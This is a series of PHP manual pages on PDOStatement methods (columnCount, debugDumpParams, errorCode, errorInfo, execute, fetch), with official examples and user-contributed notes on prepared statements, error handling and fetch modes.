int PDOStatement::columnCount ( void )

Use PDOStatement::columnCount() to return the number of columns in the result set represented by the PDOStatement object.

If the PDOStatement object was returned from PDO::query(), the column count is immediately available.

If the PDOStatement object was returned from PDO::prepare(), an accurate column count will not be available until you invoke PDOStatement::execute().

Return Values

Returns the number of columns in the result set represented by the PDOStatement object. If there is no result set, PDOStatement::columnCount() returns 0.

Examples

Example #1 Counting columns

This example demonstrates how PDOStatement::columnCount() operates with and without a result set.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->prepare("SELECT name, colour FROM fruit");

/* Count the number of columns in the (non-existent) result set */
$colcount = $sth->columnCount();
print("Before execute(), result set has $colcount columns (should be 0)\n");

$sth->execute();

/* Count the number of columns in the result set */
$colcount = $sth->columnCount();
print("After execute(), result set has $colcount columns (should be 2)\n");

?>

The above example will output:

Before execute(), result set has 0 columns (should be 0)
After execute(), result set has 2 columns (should be 2)

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::rowCount() - Returns the number of rows affected by the last SQL statement

User Contributed Notes

There are no user contributed notes for this page.
PDOStatement::closeCursor
PDOStatement::debugDumpParams
PDOStatement


Dump an SQL prepared command

PDOStatement::columnCount
PDOStatement::errorCode
PDOStatement
PHP Manual

PDOStatement::debugDumpParams

(PHP 5 >= 5.1.0, PECL pdo >= 0.9.0)

PDOStatement::debugDumpParams — Dump an SQL prepared command

Description

bool PDOStatement::debugDumpParams ( void )

Dumps the informations contained by a prepared statement directly on the output. It will provide the SQL query in use, the number of parameters used (Params), the list of parameters, with their name, type (paramtype) as an integer, their key name or position, the value, and the position in the query (if this is supported by the PDO driver, otherwise, it will be -1).

This is a debug function, which dump directly the data on the normal output.

Tip

As with anything that outputs its result directly to the browser, the output-control functions can be used to capture the output of this function, and save it in a string (for example).

This will only dumps the parameters in the statement at the moment of the dump. Extra parameters are not stored in the statement, and not displayed.

Return Values

No value is returned.

Examples

Example #1 PDOStatement::debugDumpParams() example with named parameters

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindValue(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();

$sth->debugDumpParams();

?>

The above example will output:

SQL: [96] SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour
Params:  2
Key: Name: [9] :calories
paramno=-1
name=[9] ":calories"
is_param=1
param_type=1
Key: Name: [7] :colour
paramno=-1
name=[7] ":colour"
is_param=1
param_type=2

Example #2 PDOStatement::debugDumpParams() example with unnamed parameters

<?php

/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$name = 'apple';

$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindValue(2, $colour, PDO::PARAM_STR);
$sth->execute();

$sth->debugDumpParams();

?>

The above example will output:

SQL: [82] SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?
Params:  2
Key: Position #0:
paramno=0
name=[0] ""
is_param=1
param_type=1
Key: Position #1:
paramno=1
name=[0] ""
is_param=1
param_type=2

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::bindParam() - Binds a parameter to the specified variable name
  • PDOStatement::bindValue() - Binds a value to a parameter

User Contributed Notes

mattspopcorn at gmail dot com 26-Aug-2009 02:03
It's not you, in PHP 5.2.6 and close versions this has an infinite loop bug.  Upgrade to the latest php where it has been fixed.
PDOStatement::columnCount
PDOStatement::errorCode
PDOStatement


Fetch the SQLSTATE associated with the last operation on the statement handle

PDOStatement::debugDumpParams
PDOStatement::errorInfo
PDOStatement
PHP Manual

PDOStatement::errorCode

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::errorCode — Fetch the SQLSTATE associated with the last operation on the statement handle

Description

string PDOStatement::errorCode ( void )

Return Values

Identical to PDO::errorCode(), except that PDOStatement::errorCode() only retrieves error codes for operations performed with PDOStatement objects.

Examples

Example #1 Retrieving an SQLSTATE code

<?php
/* Provoke an error -- the BONES table does not exist */
$err = $dbh->prepare('SELECT skull FROM bones');
$err->execute();

echo "\nPDOStatement::errorCode(): ";
print $err->errorCode();
?>

The above example will output:

PDOStatement::errorCode(): 42S02

See Also

  • PDO::errorCode() - Fetch the SQLSTATE associated with the last operation on the database handle
  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorInfo() - Fetch extended error information associated with the last operation on the statement handle

User Contributed Notes

dbeecher at tekops dot com 21-Aug-2008 02:50
Neither this property nor the PDOStatement::errorInfo() properties are available if you create  your own exception handler.

I am using PHP 5.2.4, PDO_INFORMIX 1.2.0.

Making this call at any point in the program after setting your own exception handler produces an error:

PHP Notice:  Undefined property:  PDOStatement::$errorCode in new_query.php on line

or

PHP Notice:  Undefined property:  PDOStatement::$errorInfo in new_query.php on line

But if I set the PDO to SILENT, only set error codes with:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT)

Then process with if/else the call to this functions works fine.  The examples below only do error checking to show the result codes of this function.  Normally you would want more.

FAILS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try  {
      $result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
      if ($result) print "success!";
      }
catch
      {
      $myeCode = $dbh->errorCode();
      /* do stuff with error */
      };

$dbh=0;

The error handler gets called but knows nothing about $dbh->errorCode or $dbh->errorInfo.

WORKS:

$dbh = new PDO("informix...")
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT);

$result = $dbh->query("asdfkjasdfkjasdfjk");  /* obvious sql error */
if ($result)
      {
      /* process result */
      print "success!";

      /* all done, didn't make any changes */
      $dbh->rollback();
      }
else
      {
      $myeCode = $dbh->errorCode();
      print_r($myeCode);
      };

$dbh=0;  /* close connection */

I hope this helps someone else.
Cheers,
David
vaclav dot sir at gmail dot com 05-Jun-2006 08:59
Statement's errorCode() returns an empty string before execution, and '00000' (five zeros) after a sucessfull execution:

<?php
$stmt = $pdo->prepare($query);
assert($stmt->errorCode === '');

$stmt->execute();
assert($stmt->errorCode === '00000');
?>
PDOStatement::debugDumpParams
PDOStatement::errorInfo
PDOStatement


Fetch extended error information associated with the last operation on the statement handle

PDOStatement::errorCode
PDOStatement::execute
PDOStatement
PHP Manual

PDOStatement::errorInfo

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::errorInfo — Fetch extended error information associated with the last operation on the statement handle

Description

array PDOStatement::errorInfo ( void )

Return Values

PDOStatement::errorInfo() returns an array of error information about the last operation performed by this statement handle. The array consists of the following fields:

Element | Information
0 | SQLSTATE error code (a five characters alphanumeric identifier defined in the ANSI SQL standard).
1 | Driver specific error code.
2 | Driver specific error message.

Examples

Example #1 Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database

<?php
/* Provoke an error -- the BONES table does not exist */
$sth = $dbh->prepare('SELECT skull FROM bones');
$sth->execute();

echo "\nPDOStatement::errorInfo():\n";
$arr = $sth->errorInfo();
print_r($arr);
?>

The above example will output:

PDOStatement::errorInfo():
Array
(
    [0] => 42S02
    [1] => -204
    [2] => [IBM][CLI Driver][DB2/LINUX] SQL0204N  "DANIELS.BONES" is an undefined name.  SQLSTATE=42704
)

See Also

  • PDO::errorCode() - Fetch the SQLSTATE associated with the last operation on the database handle
  • PDO::errorInfo() - Fetch extended error information associated with the last operation on the database handle
  • PDOStatement::errorCode() - Fetch the SQLSTATE associated with the last operation on the statement handle

User Contributed Notes

There are no user contributed notes for this page.
PDOStatement::errorCode
PDOStatement::execute
PDOStatement


Executes a prepared statement

PDOStatement::errorInfo
PDOStatement::fetch
PDOStatement
PHP Manual

PDOStatement::execute

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::execute — Executes a prepared statement

Description

bool PDOStatement::execute ([ array $input_parameters ] )

Execute the prepared statement. If the prepared statement included parameter markers, you must either:

  • call PDOStatement::bindParam() to bind PHP variables to the parameter markers: bound variables pass their value as input and receive the output value, if any, of their associated parameter markers

  • or pass an array of input-only parameter values

Parameters

input_parameters

An array of values with as many elements as there are bound parameters in the SQL statement being executed. All values are treated as PDO::PARAM_STR.

You cannot bind multiple values to a single parameter; for example, you cannot bind two values to a single named parameter in an IN() clause.

You cannot bind more values than specified; if more keys exist in input_parameters than in the SQL specified in the PDO::prepare(), then the statement will fail and an error is emitted.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.2.0 | The keys from input_parameters must match the ones declared in the SQL. Before PHP 5.2.0 this was silently ignored.

Examples

Example #1 Execute a prepared statement with bound variables

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Example #2 Execute a prepared statement with an array of insert values (named parameters)

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->execute(array(':calories' => $calories, ':colour' => $colour));
?>

Example #3 Execute a prepared statement with an array of insert values (placeholders)

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->execute(array($calories, $colour));
?>

Example #4 Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>

Notes

Note:

Some drivers require to close cursor before executing next statement.

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::bindParam() - Binds a parameter to the specified variable name
  • PDOStatement::fetch() - Fetches the next row from a result set
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set

User Contributed Notes

richard at securebucket dot com 25-Nov-2011 01:16
Note:  Parameters don't work with a dash in the name like ":asd-asd" you can do a quick str_replace("-","_",$parameter) to fix the issue.
ElTorqiro 05-Apr-2011 02:51
When using a prepared statement to execute multiple inserts (such as in a loop etc), under sqlite the performance is dramatically improved by wrapping the loop in a transaction.

I have an application that routinely inserts 30-50,000 records at a time.  Without the transaction it was taking over 150 seconds, and with it only 3.

This may affect other implementations as well, and I am sure it is something that affects all databases to some extent, but I can only test with PDO sqlite.

e.g.

<?php
$data = array(
  array('name' => 'John', 'age' => '25'),
  array('name' => 'Wendy', 'age' => '32')
);

try {
  $pdo = new PDO('sqlite:myfile.sqlite');
}

catch(PDOException $e) {
  die('Unable to open database connection');
}

$insertStatement = $pdo->prepare('insert into mytable (name, age) values (:name, :age)');

// start transaction
$pdo->beginTransaction();

foreach($data as &$row) {
  $pdo->execute($row);
}

// end transaction
$pdo->commit();

?>
Robin Millette 10-Jan-2011 06:30
If you're going to derive PDOStatement to extend the execute() method, you must define the signature with a default NULL argument, not an empty array.

In otherwords:
<?php
class MyPDOStatement extends PDOStatement {
  // ...

  // don't use this form!
  // function execute($input_parameters = array()) {
  // use this instead:
  function execute($input_parameters = null) {
      // ...
      return parent::execute($input_parameters);
  }
}

?>

As a sidenote, that's why I always set default parameter to NULL and take care of handling the actual correct default parameters in the body of the method or function. Thus, when you have to call the function with all the parameters, you know to always pass NULL for defaults.
Tony Casparro 08-Jul-2010 10:09
We know that you can't see the final raw SQL before its parsed by the DB, but if you want to simulate the final result, this may help.

<?php
public function showQuery($query, $params)
    {
        $keys = array();
        $values = array();

        # build a regular expression for each parameter
        foreach ($params as $key=>$value)
        {
            if (is_string($key))
            {
                $keys[] = '/:'.$key.'/';
            }
            else
            {
                $keys[] = '/[?]/';
            }

            if(is_numeric($value))
            {
                $values[] = intval($value);
            }
            else
            {
                $values[] = '"'.$value .'"';
            }
        }

        $query = preg_replace($keys, $values, $query, 1, $count);
        return $query;
    }
?>
gx 24-Apr-2010 10:05
Note that you must
- EITHER pass all values to bind in an array to PDOStatement::execute()
- OR bind every value before with PDOStatement::bindValue(), then call PDOStatement::execute() with *no* parameter (not even "array()"!).
Passing an array (empty or not) to execute() will "erase" and replace any previous bindings (and can lead to, e.g. with MySQL, "SQLSTATE[HY000]: General error: 2031" (CR_PARAMS_NOT_BOUND) if you passed an empty array).

Thus the following function is incorrect in case the prepared statement has been "bound" before:

<?php
function customExecute(PDOStatement &$sth, $params = NULL) {
    return $sth->execute($params);
}
?>

and should therefore be replaced by something like:

<?php
function customExecute(PDOStatement &$sth, array $params = array()) {
    if (empty($params))
        return $sth->execute();
    return $sth->execute($params);
}
?>

Also note that PDOStatement::execute() doesn't require $input_parameters to be an array.

(of course, do not use it as is ^^).
Ant P. 08-Aug-2008 10:33
As of 5.2.6 you still can't use this function's $input_parameters to pass a boolean to PostgreSQL. To do that, you'll have to call bindParam() with explicit types for each parameter in the query.
Jean-Lou dot Dupont at jldupont dot com 09-Mar-2008 10:38
Hopefully this saves time for folks: one should use $count = $stmt->rowCount() after $stmt->execute() in order to really determine if any an operation such as ' update ' or ' replace ' did succeed i.e. changed some data.

Jean-Lou Dupont.
albright atat anre dotdot net 18-Jan-2008 08:33
When passing an array of values to execute when your query contains question marks, note that the array must be keyed numerically from zero. If it is not, run array_values() on it to force the array to be re-keyed.

<?php
$anarray = array(42 => "foo", 101 => "bar");
$statement = $dbo->prepare("SELECT * FROM table WHERE col1 = ? AND col2 = ?");

//This will not work
$statement->execute($anarray);

//Do this to make it work
$statement->execute(array_values($anarray));
?>
Daniel 30-Aug-2007 05:20
You could also use switch the order of t1 and t2 to get user_id from t1 (tested on postgresql):

SELECT
   t2.*,
   t1.user_id, t1.user_name
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2
simon dot lehmann at gmx dot de 08-Aug-2007 03:17
It seems, that the quoting behaviour has changed somehow between versions, as my current project was running fine on one setup, but throwing errors on another (both setups are very similar).

Setup 1: Ubuntu 6.10, PHP 5.1.6, MySQL 5.0.24a
Setup 2: Ubuntu 7.04, PHP 5.2.1, MySQL 5.0.38

The code fragment which caused problems (shortened):
<?php
$stmt = $pdo->prepare("SELECT col1, col2, col3 FROM tablename WHERE col4=? LIMIT ?");
$stmt->execute(array('Foo', 1));
?>

On the first Setup this executes without any problems, on the second setup it generates an Error:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' at line 1

The problem is, that $stmt->execute() quotes the number passed to the second placeholder (resulting in: ... LIMIT '1'), which is not allowed in MySQL (tested on both setups).

To prevent this, you have to use bindParam() or bindValue() and specify a data type.
narcis at narcisradu dot com 08-Jan-2007 01:16
For a query like this:

SELECT
   t1.user_id, t1.user_name,
   t2.*
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

If I don't have an entry in table2 for user_id=2, the user_id in  result will be empty.

SELECT
   t1.user_id, t1.user_name,
   t2.user_pet, t2.user_color, t2.user_sign
FROM table1 t1
LEFT JOIN table2 t2 ON t2.user_id = t1.user_id
WHERE t1.user_id = 2

This query will return nonempty user_id.

So please be careful with wildcard select.
VolGas 22-Dec-2006 10:38
An array of insert values (named parameters) don't need the prefixed colon als key-value to work.

<?php
/* Execute a prepared statement by passing an array of insert values */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
   FROM fruit
   WHERE calories < :calories AND colour = :colour');
// instead of:
//     $sth->execute(array(':calories' => $calories, ':colour' => $colour));
// this works fine, too:
$sth->execute(array('calories' => $calories, 'colour' => $colour));
?>

This allows to use "regular" assembled hash-tables (arrays).
That realy does make sense!
dbrucas 21-Nov-2006 10:54
If you don't want to turn on exception raising, then try this:

    //$dbErr = $dbHandler->errorInfo(); OR
    $dbErr = $dbStatement->errorInfo();
    if ( $dbErr[0] != '00000' ) {
        print_r($dbHandler->errorInfo());
        die( "<div class='redbg xlarge'>FAILED:  $msg</div><br />".$foot);
    // or handle the error your way...
            }
    echo "SUCCESS:  $msg<br />";
... continue if succesful
inghamn at bloomington dot in dot gov 24-Oct-2006 01:53
Just a note, I'm currently using 5.1.6.  After debugging for a good amount of time, I've realized that the $array cannot be an associative array.

For instance, the following code will fail on the execute.
<?php
    $fields = array();
    $fields['name'] = "Someone";

    $query = $PDO->prepare("insert table set name=?");
    $query->execute($fields);
?>

For my code, I had to convert the $fields array into a non-associative array.  Something like this:
<?php
    $fields = array();
    $fields['name'] = "Someone";

    $values = array();
    foreach($fields as $value) { $values[] = $value; }

    $query = $PDO->prepare("insert table set name=?");
    $query->execute($values);
?>
russel at sunraystudios dot com 15-Oct-2006 02:42
I've used it and it returns booleans=>
$passed = $stmt->execute();
if($passed){
echo "passed";
} else {
echo "failed";
}

If the statement failed it would print failed.  You would want to use errorInfo() to get more info, but it does seem to work for me.
Nei 06-Feb-2006 11:40
This does not return TRUE or FALSE. It seems to just not return anything.
PDOStatement::errorInfo
PDOStatement::fetch
PDOStatement


Fetches the next row from a result set

PDOStatement::execute
PDOStatement::fetchAll
PDOStatement
PHP Manual

PDOStatement::fetch

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDOStatement::fetch — Fetches the next row from a result set

Description

mixed PDOStatement::fetch ([ int $fetch_style [, int $cursor_orientation = PDO::FETCH_ORI_NEXT [, int $cursor_offset = 0 ]]] )

Fetches a row from a result set associated with a PDOStatement object. The fetch_style parameter determines how PDO returns the row.

Parameters

fetch_style

Controls how the next row will be returned to the caller. This value must be one of the PDO::FETCH_* constants, defaulting to value of PDO::ATTR_DEFAULT_FETCH_MODE (which defaults to PDO::FETCH_BOTH).

  • PDO::FETCH_ASSOC: returns an array indexed by column name as returned in your result set

  • PDO::FETCH_BOTH (default): returns an array indexed by both column name and 0-indexed column number as returned in your result set

  • PDO::FETCH_BOUND: returns TRUE and assigns the values of the columns in your result set to the PHP variables to which they were bound with the PDOStatement::bindColumn() method

  • PDO::FETCH_CLASS: returns a new instance of the requested class, mapping the columns of the result set to named properties in the class. If fetch_style includes PDO::FETCH_CLASSTYPE (e.g. PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE) then the name of the class is determined from a value of the first column.

  • PDO::FETCH_INTO: updates an existing instance of the requested class, mapping the columns of the result set to named properties in the class

  • PDO::FETCH_LAZY: combines PDO::FETCH_BOTH and PDO::FETCH_OBJ, creating the object variable names as they are accessed

  • PDO::FETCH_NUM: returns an array indexed by column number as returned in your result set, starting at column 0

  • PDO::FETCH_OBJ: returns an anonymous object with property names that correspond to the column names returned in your result set

cursor_orientation

For a PDOStatement object representing a scrollable cursor, this value determines which row will be returned to the caller. This value must be one of the PDO::FETCH_ORI_* constants, defaulting to PDO::FETCH_ORI_NEXT. To request a scrollable cursor for your PDOStatement object, you must set the PDO::ATTR_CURSOR attribute to PDO::CURSOR_SCROLL when you prepare the SQL statement with PDO::prepare().

offset

For a PDOStatement object representing a scrollable cursor for which the cursor_orientation parameter is set to PDO::FETCH_ORI_ABS, this value specifies the absolute number of the row in the result set that shall be fetched.

For a PDOStatement object representing a scrollable cursor for which the cursor_orientation parameter is set to PDO::FETCH_ORI_REL, this value specifies the row to fetch relative to the cursor position before PDOStatement::fetch() was called.

Return Values

The return value of this function on success depends on the fetch type. In all cases, FALSE is returned on failure.

Examples

Example #1 Fetching rows using different fetch styles

<?php
$sth = $dbh->prepare("SELECT name, colour FROM fruit");
$sth->execute();

/* Exercise PDOStatement::fetch styles */
print("PDO::FETCH_ASSOC: ");
print("Return next row as an array indexed by column name\n");
$result = $sth->fetch(PDO::FETCH_ASSOC);
print_r($result);
print("\n");

print("PDO::FETCH_BOTH: ");
print("Return next row as an array indexed by both column name and number\n");
$result = $sth->fetch(PDO::FETCH_BOTH);
print_r($result);
print("\n");

print("PDO::FETCH_LAZY: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO::FETCH_LAZY);
print_r($result);
print("\n");

print("PDO::FETCH_OBJ: ");
print("Return next row as an anonymous object with column names as properties\n");
$result = $sth->fetch(PDO::FETCH_OBJ);
print $result->NAME;
print("\n");
?>

The above example will output:

PDO::FETCH_ASSOC: Return next row as an array indexed by column name
Array
(
    [NAME] => apple
    [COLOUR] => red
)

PDO::FETCH_BOTH: Return next row as an array indexed by both column name and number
Array
(
    [NAME] => banana
    [0] => banana
    [COLOUR] => yellow
    [1] => yellow
)

PDO::FETCH_LAZY: Return next row as an anonymous object with column names as properties
PDORow Object
(
    [NAME] => orange
    [COLOUR] => orange
)

PDO::FETCH_OBJ: Return next row as an anonymous object with column names as properties
kiwi

Example #2 Fetching rows with a scrollable cursor

<?php
function readDataForwards($dbh) {
  $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY BET';
  try {
    $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
    $stmt->execute();
    while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT)) {
      $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
      print $data;
    }
    $stmt = null;
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}
function readDataBackwards($dbh) {
  $sql = 'SELECT hand, won, bet FROM mynumbers ORDER BY bet';
  try {
    $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));
    $stmt->execute();
    $row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_LAST);
    do {
      $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\n";
      print $data;
    } while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_PRIOR));
    $stmt = null;
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}

print "Reading forwards:\n";
readDataForwards($conn);

print "Reading backwards:\n";
readDataBackwards($conn);
?>

The above example will output:

Reading forwards:
21    10    5
16    0     5
19    20    10

Reading backwards:
19    20    10
16    0     5
21    10    5

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement
  • PDOStatement::fetchAll() - Returns an array containing all of the result set rows
  • PDOStatement::fetchColumn() - Returns a single column from the next row of a result set
  • PDOStatement::fetchObject() - Fetches the next row and returns it as an object.
  • PDOStatement::setFetchMode() - Set the default fetch mode for this statement

User Contributed Notes

Alex 07-Sep-2011 02:32
It seems that if you do a $statement->query() with an INSERT statement and after that a $statement->fetch() you will get an exception saying: SQLSTATE[HY000]: General error.
henry at henrysmith dot org 06-Aug-2011 09:24
Someone's already pointed out that PDO::CURSOR_SCROLL isn't supported by the SQLite driver. It's also worth noting that it's not supported by the MySQL driver either.

In fact, if you try to use scrollable cursors with a MySQL statement, the PDO::FETCH_ORI_ABS parameter and the offset given to fetch() will be silently ignored. fetch() will behave as normal, returning rows in the order in which they came out of the database.

It's actually pretty confusing behaviour at first. Definitely worth documenting even if only as a user-added note on this page.
Ome Ko 20-Jun-2011 04:46
Don't do
if($objStatement->fetch()) return $objStatement->fetch();

You want
if($blah=$objStatement->fetch()) return $blah;

Trust me on this one.
public at grik dot net 24-Nov-2010 03:10
When fetching an object, the constructor of the class is called after the fields are populated by default.

PDO::FETCH_PROPS_LATE is used to change the behaviour and make it work as expected - constructor be called _before_ the object fields will be populated with the data.

sample:

<?php
$a = $PDO->query('select id from table');
$a->setFetchMode(PDO::FETCH_CLASS|PDO::FETCH_PROPS_LATE, 'ClassName');
$obj = $a->fetch();
?>

http://bugs.php.net/bug.php?id=53394
Negative Black 24-Aug-2010 10:50
When fetching multiple rows into an object. It is necessary to clone the objects returned by the PDOStatement::fetch() operation. Otherwise you will just get a list of pointers to the object located inside the statement, containing the information of the last row.

Example:
<?php
$stmt = $pdoLink->prepare("SELECT * FROM `table`;");
$stmt->setFetchMode(PDO::FETCH_INTO, new myClass());
$stmt->execute();

// Assuming there are multiple rows in the table.
while ($object = $stmt->fetch()) {
    $result[] = clone $object;
}

var_dump($result);
?>
Typer85 at gmail dot com 01-Feb-2010 03:03
Here is quick note for developers that use the PDO SQLite Driver:

The PDO SQLite driver does not support cursors, so using the PDO::CURSOR_SCROLL Attribute, will not work when using the PDO SQLite driver. For example:

<?php

// Assuming $Handle Is a PDO Handle.
$Statement = $Handle->query( $sqlStatement , array( PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL ) );

?>

What is even worse is that PDO::prepare will NOT throw an Exception when it fails to prepare the query, even when the error mode is set to throw Exceptions, and will instead return a Boolean False!

Not only do I consider this a poor design choice, but also its a real shame that this is not documented anywhere in the manual -- in fact the manual is not clear on what Attributes are supported by which drivers and which are not so developers are left to play a classic game of guess.

I hope this saves some developers some headaches.

Good Luck,
Typer85 at gmail dot com 26-Jan-2010 05:52
Just thought I would point out something interesting that caught my eye.

Once you retrieve a PDOStatement, whether for a prepared statement or a normal result set, the connection status of your PDO handle is no longer taken into consideration!

The PHP Manual clearly states that to open a PDO connection, create a new Instance of the PDO Class. To close a PDO connection, destroy the Instance, possibly by setting it to a Null Reference. The PDO Instance in this case is your handle.

Here is the interesting part. If you close the PDO connection, as described above, you can still continue to either execute a prepared statement or iterate through a result set!

For example, the following code will work perfectly fine:

<?php

// Open Handle.
$Handle = new PDO( 'mysql:host=localhost; dbname=LOG' , 'root' );
$Handle->setAttribute( PDO::ATTR_ERRMODE , PDO::ERRMODE_EXCEPTION );

// Prepare Statement.
$Statement = $Handle->prepare( "SELECT * FROM ERROR" );

// Close Handle.
$Handle =  null;

// Execute Statement. Amazing How There Is No Problem Even Though The Connection Is Closed!
$Statement->execute();

// Iterate Result. Again, Amazing How There Is No Problem!
while( $row = $Statement->fetch( PDO::FETCH_BOTH , PDO::FETCH_ORI_NEXT ) ) {
}

?>

You do not even need to prepare a statement. A native query also has no problems, like the following code:

<?php

// Open Handle.
$Handle = new PDO( 'mysql:host=localhost; dbname=LOG' , 'root' );
$Handle->setAttribute( PDO::ATTR_ERRMODE , PDO::ERRMODE_EXCEPTION );

// Query Statement.
$Statement = $Handle->query( "SELECT * FROM ERROR" );

// Close Handle.
$Handle =  null;

// Iterate Result.
$Statement->fetchAll( );

?>

I am not sure if this is a bug or not but its a big gottcha for developers coming from other envrionments, such as .NET or even those PHP developers used to using the native database functions before PDO came around.

For example, using the native mysql_* Functions, the following will not work:

<?php

mysql_connect( "localhost" , "root");
mysql_select_db( "LOG" );
mysql_close( );
mysql_query( "SELECT * FROM ERROR" );

?>

Good Luck,
dj UNDERSCORE robe AT hotmail DOT com 22-Jan-2010 04:33
A word of caution regarding fh at ez dot no's note: as of PHP 5.2.12 the constructor is called *before* the data is set in FETCH_CLASS mode.  The previous behaviour seems to be considered a bug (http://bugs.php.net/bug.php?id=49521), so don't rely on it.
lod 16-Jul-2008 09:33
A quick one liner to get the first entry returned.  This is nice for very basic queries.

<?php
$count = current($db->query("select count(*) from table")->fetch());
?>php
lozitskiys at gmail dot com 09-Jul-2008 05:21
I spent some hours trying to find out how to manipulate with BLOB fields using PDO.

Remember that you can't retreive BLOB data using something like this :

<?php
$sql = 'SELECT * FROM sometable LIMIT 1';
$stmt = $dbh->prepare($sql);
$stmt->execute();
$stmt->setAttribute(PDO::FETCH_ASSOC);
$row = $stmt->fetch();

$myFile = $row['file'];
?>

Instead of this you should try following approach:

<?php
$sql = "SELECT mime, file FROM sometable LIMIT 1";
$stmt = $dbh->prepare($sql);
$stmt->execute();

$stmt->bindColumn(1, $mime,);
$stmt->bindColumn(2, $file, PDO::PARAM_LOB);

$stmt->fetch();

header('Content-type: '.$mime);
print $file;

?>
josh 29-Apr-2008 12:02
Note that PDO::ATTR_STRINGIFY_FETCHES will NOT work for the MySQL driver. MySQL will always return strings because that is the behaviour of the core mysql PHP extension. See http://bugs.php.net/bug.php?id=44341
daltenho at yahoo dot com 28-Jan-2008 09:17
As an alternative to marcini's suggestion:

You can use:

        $dbh->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);

...on your PDO connection object to allow query buffering in MySQL. This will eliminate the problem of re-preparing an unclosed statement object.
Gerard van Beek 28-Oct-2007 01:42
If you to use a new instance of a class for a record you can use:

<?php
include_once("user.class");
$sth = $db->prepare("SELECT * FROM user WHERE id = 1");

/* create instance automatically */
$sth->setFetchMode( PDO::FETCH_CLASS, 'user');
$sth->execute();
$user = $sth->fetch( PDO::FETCH_CLASS );
$sth->closeCursor();
print ($user->id);

/* or create an instance yourself and use it */
$user= new user();
$sth->setFetchMode( PDO::FETCH_INTO, $user);
$sth->execute();
$user= $sth->fetch( PDO::FETCH_INTO );
$sth->closeCursor();
print ($user->id);
?>
BaBna 16-Aug-2007 12:52
When you do a SELECT query for one row, and want to check if it's there, you don't need to count the fetchAll() result, you can just check if $result->fetch() is true:
<?php
$bbnq = sprintf("SELECT login
FROM users
WHERE id = %u",27);
try
    { $req = $db_bbn->query($bbnq); }
catch (Exception $e)
